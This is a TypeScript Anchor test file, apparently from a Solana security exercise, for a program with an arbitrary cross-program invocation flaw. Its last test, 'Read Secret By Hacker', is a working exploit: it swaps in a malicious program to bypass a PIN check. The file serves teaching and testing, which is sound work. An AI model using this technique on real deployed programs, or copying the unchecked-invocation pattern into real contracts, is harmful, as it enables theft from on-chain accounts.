-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy patharbitrary-cpi.ts
135 lines (105 loc) · 4.76 KB
/
arbitrary-cpi.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import * as anchor from "@coral-xyz/anchor";
import { web3 } from "@coral-xyz/anchor";
import { assert } from 'chai';
import { Program } from "@coral-xyz/anchor";
import { ArbitraryCpi } from "../../target/types/arbitrary_cpi";
import { ArbitraryCpiExpected } from "../../target/types/arbitrary_cpi_expected";
import { ArbitraryCpiHacked } from "../../target/types/arbitrary_cpi_hacked";
describe("arbitrary-cpi", () => {
let provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program_cpi = anchor.workspace.ArbitraryCpi as Program<ArbitraryCpi>;
const program_expected = anchor.workspace.ArbitraryCpiExpected as Program<ArbitraryCpiExpected>;
const program_hacked = anchor.workspace.ArbitraryCpiHacked as Program<ArbitraryCpiHacked>;
const creator = web3.Keypair.generate();
const hacker = web3.Keypair.generate();
before("Fund the users!", async () => {
await airdrop(provider.connection, creator.publicKey);
await airdrop(provider.connection, hacker.publicKey);
});
// x x x x x x x x x x x x x x x x x x x x x
// | | | | | | | | | | | | | | | | | | | | |
// ADD YOUR CODE BELOW
// | | | | | | | | | | | | | | | | | | | | |
// v v v v v v v v v v v v v v v v v v v v v
it("Initialize Secret", async () => {
const [secretInformation, mBump] = deriveSecretAddress(creator.publicKey, program_expected.programId);
await program_cpi.methods.initializeSecret(0, 1, 2, 5).accounts({
author: creator.publicKey,
secretInformation: secretInformation,
systemProgram: web3.SystemProgram.programId,
secretProgram: program_expected.programId
}).signers([creator]).rpc({ commitment: "confirmed" });
});
it("Verify Secret by creator", async () => {
const [secretInformation, mBump] = deriveSecretAddress(creator.publicKey, program_expected.programId);
await program_cpi.methods.insecureVerifyPin(0, 1, 2, 5).accounts({
author: creator.publicKey,
secretInformation: secretInformation,
secretProgram: program_expected.programId
}).signers([creator]).rpc({ commitment: "confirmed" });
});
it("Verify Secret by creator - wrong PIN", async () => {
const [secretInformation, mBump] = deriveSecretAddress(creator.publicKey, program_expected.programId);
try {
await program_cpi.methods.insecureVerifyPin(1, 1, 2, 5).accounts({
author: creator.publicKey,
secretInformation: secretInformation,
secretProgram: program_expected.programId
}).signers([creator]).rpc({ commitment: "confirmed" });
assert.isTrue(false)
} catch (error) {
const err = anchor.AnchorError.parse(error.logs);
assert.strictEqual(err.error.errorCode.code, "IncorrectPIN");
}
});
it("Verify Secret By Hacker", async () => {
const [secretInformation, mBump] = deriveSecretAddress(creator.publicKey, program_expected.programId);
try {
await program_cpi.methods.insecureVerifyPin(0, 0, 0, 0).accounts({
author: hacker.publicKey,
secretInformation: secretInformation,
secretProgram: program_expected.programId
}).signers([hacker]).rpc({ commitment: "confirmed" });
assert.isTrue(false)
} catch (error) {
const err = anchor.AnchorError.parse(error.logs);
assert.strictEqual(err.error.errorCode.code, "ConstraintSeeds");
}
});
it("Read Secret By Hacker", async () => {
const [secretInformation, mBump] = deriveSecretAddress(creator.publicKey, program_expected.programId);
let signature = await program_cpi.methods.insecureVerifyPin(0, 0, 0, 0).accounts({
author: hacker.publicKey,
secretInformation: secretInformation,
secretProgram: program_hacked.programId
}).signers([hacker]).rpc({ commitment: "confirmed" });
const transactionDetails = await getTx(signature, provider.connection);
console.log("Transaction Logs:", transactionDetails.meta.logMessages);
});
// ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
// | | | | | | | | | | | | | | | | | | | | |
// ADD YOUR CODE ABOVE
// | | | | | | | | | | | | | | | | | | | | |
// x x x x x x x x x x x x x x x x x x x x x
});
async function airdrop(
connection: any,
address: any,
amount = 500_000_000_000
) {
await connection.confirmTransaction(
await connection.requestAirdrop(address, amount),
'confirmed'
);
}
function deriveSecretAddress(creator: web3.PublicKey, programId: web3.PublicKey): [web3.PublicKey, number] {
return web3.PublicKey.findProgramAddressSync(
[
Buffer.from("secret_info"),
creator.toBuffer()
], programId);
}
async function getTx(signature: string, connection: web3.Connection): Promise<anchor.web3.VersionedTransactionResponse> {
return connection.getTransaction(signature, { commitment: "confirmed", maxSupportedTransactionVersion: 2 });
}